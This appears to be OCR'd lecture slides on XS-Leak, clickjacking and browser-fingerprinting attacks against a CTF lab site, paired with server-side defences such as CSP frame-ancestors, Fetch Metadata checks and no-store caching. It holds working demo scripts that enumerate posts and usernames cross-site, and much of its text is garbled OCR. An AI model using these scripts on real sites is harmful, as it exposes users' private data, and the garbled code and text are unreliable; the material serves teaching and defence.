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ATTACKS & DEFENSE
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<?php if- ($username-===

<’php endlf ?></p>
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https://victim.ruc-ctf.site/user-tracking/index.php
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® 15[ahttps://victim.ruc-ctf.site/user-tracking/index.php, 1%
FAhE, EFadmin/1234

32 <button-id="myButton"-autofocus> & i F </button>
33
34~ <script>
35~ document.addEventListener('DOMContentLoaded', -function() -{
36 const-button-=-document.getElementById( 'myButton');
37
. J'L
hacker.ruc-ctf.site says . [/ Henblur Bl ction)
. 40 1 t HI)-' d

AFREadmin!l! 41 3 ¢ o
42
43 /7RI R E A (RIE L Hautofocus/E )
44 button.focus();
45 // ﬁJ;.% "‘ﬂrH’] me - 7C %}
46 st-ifra document.createElement('i-Frame');
47
48 //- & HE - iframe- )@+
49 iframe.src-=-"https://victim.ruc-ctf.site/user-tracking/dashboard.php#pro';
50 document.body.appendChild(iframe);
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" (ML B CRIMEWBRNEERIRT (SclickjackingRIFh1EER])
s X-Frame-Options: DENY
s CSP: frame-ancestors 'self’
= Javascript: window.top != window.self

s phpte&ESec-Fetch-Destirsk, 1ZFREBNTEEE AL, RNBERERN
1B KAVEHEHR T4, Sec-Fetch-DestiISRZiframe, FR<EHCHIRE
wErAiframerf, BILAXS TAEHEFIRACIE, LLAiREIZ=HE, THS
—LbETRERYSec-Fetch-Dest
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= Font
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FESec-Fetch-Dest, &E3xadmin/1234

® 5 [0 E & T A https://hacker.ruc-ctfsite/user-tracking/, &&

BERiframehHhsHITE, MikB;gBRBILHAF"pro

et

89
=1
91
92
93
94

Ay

case-1:

if-(isset($_SERVER['HTTP_SEC_FETCH_DEST']) -&&-$_SERVER[ '"HTTP_SEC_FETCH_DEST'] ==

header('location: -about:blank_");
exit;

}
breakﬂ
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" ESTER (iframe image,scripts) BHEERIFN, FTERR
B LRGSR RAREGIS A

B XSRS A — M api A ERIREKET, RSimEWIERIEN (200
OK&gl404 NOT FOUNDZ) , Nress=iimN g, XIThAISHF
k4% (onloadagonerror)

I EBLUTEANER, REFNEEEMLE, SERLG AR RN
apiRIERIFERATHIR BIEHE :
s GET /api/user/1234 - 200 OK: 15BBRFidgi=a1234, onloadS={4 &4

s GET /api/user/1235 - 401 Unauthorized : 12BEAFIdA~Z1235, onerror
SHRE
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= —YJE[ERAY, SHEFHEXINE

/
35 $tt-$ pp (SELECT utho
36 $stmt->bind_param( ,-$postid);
37 $stmt->execute();
38 $stmt->store_result()
|39
40~ if- ($stmt-> ows ===-0) - {
/71 TT{HL
42 http_response_code(404);
43 $stmt- > 1o ()
44 $conn->close();
45 exit();
46}
47
48 $stmt->bind_result($authorId);
49  $stmt->fetch();
50
511 if- ($authorId-===-%userld)-{
52 /7-0E TR T AT P
53 http_response_code(209);
541 } else-{
55 /AR LA P
56 http_response_code(404);
57|}
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 ScriptingRYIR AR [E20058Ef1 A onloadE

=, BMEEIR

A

H2jsongdEaEhtml, LU scriptiresi A& E— N FHFHY

FrE L FHISER.
- EEIEERRS

<html-lang="zh-CN">

<head> @ Failed
<meta charsetf‘UTF—B") ) ) ) o O Failed
<meta name="viewport" content="width=device-width, -initial-scale=1.8">
<title>XS-Leak R, % Terrorff i ili</title> © Failed
</head> O Failed
<body>
<h1> % Ferrorfl Zidi</h1> © Failed
<p>Loading-scripts...</p> ® Failed
<script> & Failed
// -1 -postId- M -1-F|-10 © Failed
for- (let-postId = 1; postId <= 18; postId++) {
/7 ﬁug script /‘L.f’f °Falled
const-script-=-document.createElement('script'); Script
//- % & src EF‘?’)J manage.php?postId="Y fijpostId
script.src-=-"https://victim.ruc-ctf.site/user-tracking/manage.php?postId=${postid} ;
//- ¥t E -onload- 9 {4 &b FLFE T
script.onload = function() {
console.log( Script-loaded-successfully for postId: ${postId} );
Y
/74 -script- 0 & @ N SR A
document.body.appendChild(script);
}
</script>
</body>

</html>
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= fifToken: /apilusers/1234?token=be930b8cfb5011eb9a030242ac1300031XFFHIBEKFLA
SWEE AT, SEIEK
s JN3EIERD

s (FRFEIERREIRGREUCEHER, 1982008 S (RIAK. NED
HIBEETT%)
s BB FrEEkENREI200, MITSEAIIEEES, EAFEAREEIR
152EY,
= phpt@&ESec-Fetch-Sitetrsk, 1ZARkANEEEA L, FRADIBKEIEK
HRBEZEBEIXEZR, W18 Sec-Fetch-Sitelycross-site, MIRE4038EthiE
=8, TE=ABERYSec-Fetch-Site
* Cross-site
* same-site

* Same-origin
« None
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® 177 8] https://victim.ruc-ctf.site/user-tracking/index.php ,
weE "£Ek200" , EFadmin/1234

"5 A & B ™ A https://hacker.ruc-ctfsite/user-
tracking/errorhtml, KIFTEEREBHIES

AR SS umBLEN{ GRS

FWR WIS
. (-$ 3 )1 E errorhtml 200
i authorlId-===-%userld

N I . manage.php?postid=1 200

/7 W7 s T 2 ge-p p?p .
echo-json_encode(['status' -=> 'ok']); manage.php?postid=2 213
} else-{ 200
/1 W AN g T 2R - 200
echo-json_encode([ 'status' => 'error']); manage.php?postid=5 200
} manage.php?postid=6 200
manage.php?postld=7 200
manage.php?postld=8 200
manage.php?postld=9 200
manage.php?postid=10 200
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Bt E FerrorS {4V
® 155 [@) https://victim.ruc-ctfsite/user-tracking/index.php ,
152 Sec-Fetch-Site, &3admin/1234

s @ ;X =B I @A https://hacker.ruc-ctfsite/user-
tracking/errorhtml, &INFFEIEREBEI=E

- e |

14 case-2:

15~ if- (isset($_SERVER['HTTP_SEC_FETCH_SITE']) && $_SERVER['HTTP_SEC_FETCH_SITE'] !==-'same-origin') {
16 http_response_code(403);
17 exit; ALl / S
18 y O ARSS umBH1E GRS
19 break;

@ » GET https://victim.ruc-ctf.site/user tracking/manage.php?postid=4 ERR_ABORTEP 403 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user-tracking/manage.php?postT R _ABORTER 463 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user-tracking/manage.php?postid=1 " :ERR_ABORTED 403 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user-tracking/manage.php?postId=8 net::ERR_ABORTEP 463 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user tracking/manage.php?postId=9 net::ERR_ABORTEP 462 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user-tracking/manage.php?postTd=6 net::ERR_ABORTER 483 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user-tracking/manage.php?postId=3 net::ERR_ABORTER 483 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user-tracking/manage.php?postid=16 net::ERR_ABORTED 403 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user-tracking/manage.php?postId=5 net::ERR_ABORTEp 463 (Forbidden)

@ » GET https://victim.ruc-ctf.site/user tracking/manage.php?postId=7 net::ERR_ABORTEp 463 (Forbidden)
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HF framez{=19 T

s GG SIB—L{ER T Iframed, BREFUTFZRIETTT
HidKE, B2X NN EEES .

@ ©  https:flexample.comfadmin/customersTsearch=john%40example.com

1 result found

John Doe | johni@example.com | USA

® &  https:fexomple.comfadmin/customersfsearch=blabla%40example.com

MNo results found

> window.frames.length
1

> window.frames.length
]
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n EEAMEF EE%?%A?U%EP?%?Z%/P%F‘ P UG SR IIE T
iframed, MMRIKEIZAR, X iframetb A2 eI, %B/Alﬁz
& WL AT LAEIT F HnX |frame7§ KB W EEREEF W
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®  ®  httpsilexample.com/admin/customersTsearch=john%%40example.com

1 result found

& & httpsiflexample.comfadmin/customers?search=blabla%40example.com

No results found

window. frames.length
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® i55 |g) https://victim.ruc-ctf.site/user-tracking/friends.php ,

R LA, Fadmin/1234, o EEEEZEHALE
(admin,student,teacher) , HWMARNHAPRFER, SFAME
HBA— NiframeskERTFRIER

<h1>3F R Ei8</h1>

» <form method=" p st" class="search-form">. </form>  fle

teacher Eiﬁ] ~<div class="friend-info’
v<¢iframe src="friend p f le.php rname=teacher"> =
https://victim.ruc-c .Si -tracki

- #
</iframe>
</div>
</div>
- o </body>
teacher B9~ AZEH </html>

ArPa&: teacher
B FHpsE:  teacher@123.com
sEApediE:  2025-05-06 14:27

<hL>IFREE</ hl>
P <form method="post" class="search-form"> ... </forn
123 ‘E— <div class="no-friend"> FKEFAF "123" </div>
/ </div>
</body>
RIRFN AP "123" </html>
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s NRXMERDER N RENRREESE, ge@IT— url
sSCHN, BBAIEE A LUSIXurlLAiframefIFZ T ER NEE TR
Al =HeITaEAIFTEframeziE

victim.ruc-ctf.site/user-tracking/friends.php#student

FRENE

WNBFREXETFE

student B AEE

BPR4: student
B FHPFE: student@123.com
sERRETiE): 2025-05-06 14:26
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" NRXMERINBEER A R ERIRBEE S E, se@EEd— 1 url=Li,
Bl Aa B A LAUBE window.openFTFIXhurl, FIBHX P url XSz AY
HERFFEframe#iE, FE/swindow.frames.length2A#E[EiIESR
PREIRY.

® 777 [@] https://victim.ruc-ctf.site/user-tracking/friends.php , & &
admin/1234,

)

» HAEE R Ehttps://hacker.ruc-ctf.site/user-tracking/frame.html,

ARSI A BRI ERE.

FiaRP 2IRE. ..
EMAEPE: admin
EMAEPE: student
BYAEFA: teacher
1B SR



https://victim.ruc-ctf.site/user-tracking/friends.php
https://hacker.ruc-ctf.site/user-tracking/frame.html

11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

30
31

0 N C

HF frameF 204

Ll

" AR AR TR

Nawl J.PI./
RN NAERIE =
const-usernameList =-[
‘admin',
'user’',
'test’',
'guest’,
'root’,
'administrator',
‘demo’,
'student’,
"teacher’
TSI E £ A
1;
/1 1 T PR
async-function-bruteForceUsernames() - {

console.log("TFaA M P & . .. ");

for - (const-username - of - usernamelList) {
await-testUsername(username);

console.log( "B EH");

f7- Mk P 4
function testUsername(
return new Promise((resolve) => {
[/l Eiframe
const-iframe-=-document.createElement('iframe');

iframe.src-=-"https://victim.ruc-ctf.site/user-tracking/friends.php#${username}";
iframe.onload = iframe.onerror = function() {
/1 - 45 DI — ) 4%

setTimeout(() => {
// - K fi frames # i
if- (window.frames[@].length->-0) {
console.log(’ 4 XM " # : ${username}’);
}

/- Eiframe
document.body.removeChild(iframe);
resolve();
},-1000); - // - Y RE IR i 0 0 AR 5E
¥

document.body.appendChild(iframe);
1
}

/- UL 00 AR I T s
window.onload = bruteForceUsernames;
</script>
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F. css. jsFEMIEF

<img src="//example.com/admin.svg">
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" BTZIERT ORI MEREREUR, MAEESLIR

/Aile/

// Threshold above which we consider a resource to have loaded from the server

// Jjconst THRESHOLD = ...

Iﬁjﬁ%ﬁ@f@ﬁg const adminImagePerfEntry = window.performance

.getEntries()
.filter((entry) => entry.name.endsWith('admin.svg'));

if (adminImagePerfEntry.duration < THRESHOLD) ({
console.log('Image loaded from cache!"')

}
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/avatars/admin.svg?token=be930b8cfb5011eb9a030242ac13000
SHLBE(EIN A TTiAFUN A FHYtoken

» g&Cache-Controllmhiizrsk, ENHRAETFRIR, (EEXE
PR AR P ) P b RIS =

Himuh LAY Eum S

header( header: "Cache-Control: no-store");

h



THEEZ
m XS Leaks
* XS Leaks Wiki

» XS Leaks Attacks & Prevention

m Fetch Metadata

 Fetch Metadata and Isolation Policies

* Protect your resources from attacks with Fetch Metadata

= Framing protection

 Preventing framing with policies

« CSP 'frame-ancestors' policy

® COOP and CORP header

 Making your site "cross-oriqgin isolated"

« MDN Web Docs about CORP
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https://pragmaticwebsecurity.com/articles/securitypolicies/preventing-framing-with-policies.html
https://content-security-policy.com/frame-ancestors/
https://web.dev/coop-coep/
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_%28CORP%29
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CookielBIx

= CookiefENRAAFPHSMIRER, LMILIEHEREESE, BHE=
FcookielSik B S A afAHESE o/

s BRSUMEEZEENTE, (RERALLTEHNS A
R, _F}/’YHFBﬁﬁﬁﬂ%ﬁ(ﬁ%?—‘ﬁ%?ﬁﬂ%ﬁﬁEI’:'J)"' &=, RZIF

= or 3 :

< (QHREBH ® ) %
VAR BF RS KR BE BR Iw (=

i £ AR
b TR
(:j’»
A % R ‘
B ME }g P w1 E
PSS F

g g 2 237 7
"TTEXGN NS =l =




F=TJ5cookie

s 54RINISS R EE R ERERYcookieRiEE—F cookie, AEHY
ArEIER, ENAFLIEE]

M —=/cookie, ¥JFFXILEEs

cookie
Rz FERER BFR
AWSLOGINPWD
R AWSLOGINRSAPWD
OB AWSLOGINUID
#) Service workers Hm_Ivt_6c8c3ce0743d...
0 =6 Hm_Ivt 837af77cdd844...
JSESSIONID
s SESSION
» 00 Atshe access _token
» ) &EEE allowLive
B IndexedDB authcode
9 web sQL enableLink
v @ Cookie enableTeaching
(& https://v.ruc.edu.cn fileUploadSize
O emHkES headSculpture
B »ma is_simple
» O et

[ T

a {8 Domain

null @ bpm.ruc.edu.cn

null @ bpm.ruc.edu.cn
null () bpm.ruc.edu.cn

17... E .unicourse.ruc.edu.cn

99...| © kruceducn |
45... () jw.ruc.edu.cn

EB..J .ruc.edu.cn

0 () k.ruc.edu.cn

17... (D .unicourse.ruc.edu.

20...} @ jw.ruc.edu.cn

fal... (O k.ruc.edu.cn
fal... (@ k.ruc.edu.cn

1 v.ruc.edu.cn

28 = J5cookie

Y e .
B, 28—J5cookie

20... O karuc.edu.cn

..... ) kruceducn
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| CookieENia 58 SERSSSRIEAIER)

" =FE
» HREEIAIEuh=BAJur]
» APEihmARTE s R Rl uh B
= HFBIEUA AR, Hjavascripttigisalib BRI

siE B 1 0 B £ i &= B https://victim.ruc-ctfsite/user-

tracking/dashboard.php, ZAEEZEEXEEEFIEE _ EEurl, FTFFRLEE
EE?EY :authority victim.ruc-ctfsite

:method GET

‘path /user-tracking/dashboard.php

:scheme https

Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/avifimage/
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YOUR ID

ehk9EnkX7cciFcaRzWfE

IP BROWSER INCOGNITO VPN

[ mm Edge on Windows No No
I.

Try revisiting on VPN or incognito mode. Your visitor ID will be the same.
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%ccept : te\t’htm% appllcatlon xhtml+xml, appllcatlon 5ml ;g=0. 9, image/avif, image/webp, image/apng, */%;q=0. 8, application/signed-exchange;v=h3;q=0. 7",
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"Accept— Language : zh—C\ zh:;q=0.9, en;q=0. 8, en—GB q=0. 7, en-US; q=0. 67,

“Host”: httpbln 01g ,
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"Sec—Ch-Ua”: ’\’Mlcrosoft Edge\”;v=\"123\", \"Not:A-Brand\”;v=\"8\", \"Chromium\”;v=\"123\"",
"Sec—Ch-UaMobile”: "?207,
“Sec—Ch—Ua~ Platform Y Elndous\

"Sec—FetchDest”: ” document
Sec—Fetch-Mode”: “navigate”,
P L ;
Sec—Fetch—Slte o crossTsite

”

“Sec-Fetch-User”: "?17,

Lpgrade Insecure—RequeSTS - "1, )

“User—Agent”: H02111a 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHIML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.07,
"X-Amzn-Trace-Id": i ’

”
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browser date?
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browser?

out of

IP ADDRESS

This is your public IP
Address.

LOCAL IP ADDRESS

The local IP Address of
your computer on your
network.

LOCATION

Your IP address can
reveal your location.

INTERNET SERVICE
PROVIDER

This appears to be the
company providing

your internet

connection

INTERNET SPEED

How fast is your
internet connection?

COMPUTER SCREEN

The resolution and
color depth of your
screen.

| HE
Your IP Address can identify you online.
Use a VPN to help stay private and secure.

Detection blocked by your web browser

Detect your local IP manually

Beijing, China, Earth
(Approximate)

China Networks Inter-Exchange

Qur best guess

Test your internet speed

Use this tool to test how fast your internet connection is

1707 x 1067 Pixels
24 bit
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Browser identifyin browsers P
Characteristic 9 | have this
information
value
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.3
L Agut JEELN (231315 6 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
HETP_ACCEFT 10.85 1851.12 text/html, */*; q=0.01 gzip, deflate, br zh-CN,zh;q=0.9,en;q=0.8
Headers
Plugin 0: Chrome PDF Plugin; Portable Document Format; internal-pd
f-viewer; (Portable Document Format; application/x-google-chrome-pd
Browser Plugin 3.00 853 f; pdf). Plugin 1: Chrome PDF Viewer; ; mhjfbmdgcfjbbpaeojofohoefgi
Details 2 3 ehjai; (; application/pdf; pdf). Plugin 2: Native Client; ; internal-nacl-plu
gin; (Native Client Executable; application/x-nacl; ) (Portable Native CI
ient Executable; application/x-pnacl; ).
Time Zone 5.27 38.53 -480
Screen Size
and Color 5.42 42.87 2560x1440x24
Depth
Andale Mono, Arial, Arial Black, Arial Hebrew, Arial Narrow, Arial Roun
ded MT Bold, Arial Unicode MS, Comic Sans MS, Courier, Courier Ne
w, Geneva, Georgia, Helvetica, Helvetica Neue, Impact, LUCIDA GR
SystomEords “ily kL ANDE, Microsoft Sans Serif, Monaco, Palatino, Tahoma, Times, Time
s New Roman, Trebuchet MS, Verdana, Wingdings, Wingdings 2, Win
gdings 3 (via javascript)
Are Cookies
Enabled? 0.27 1.2 Yes
Limited
supercookie 0.38 1.3 DOM localStorage: Yes, DOM sessionStorage: Yes, |E userData: No
test
Hash of canvas -
fingerprint 15.8 56922.0 e ——
PhotNeGL] s 157.46 - e s o e
fingerprint
DNT Header
Enabled? 1.01 2,02 False
Language 7.32 159.45 zh-CN
Platform 34 10.57 Macintel
Touch Support 0.85 18 Max touchpoints: 0; TouchEvent supported: false; onTouchStart supp

orted: false
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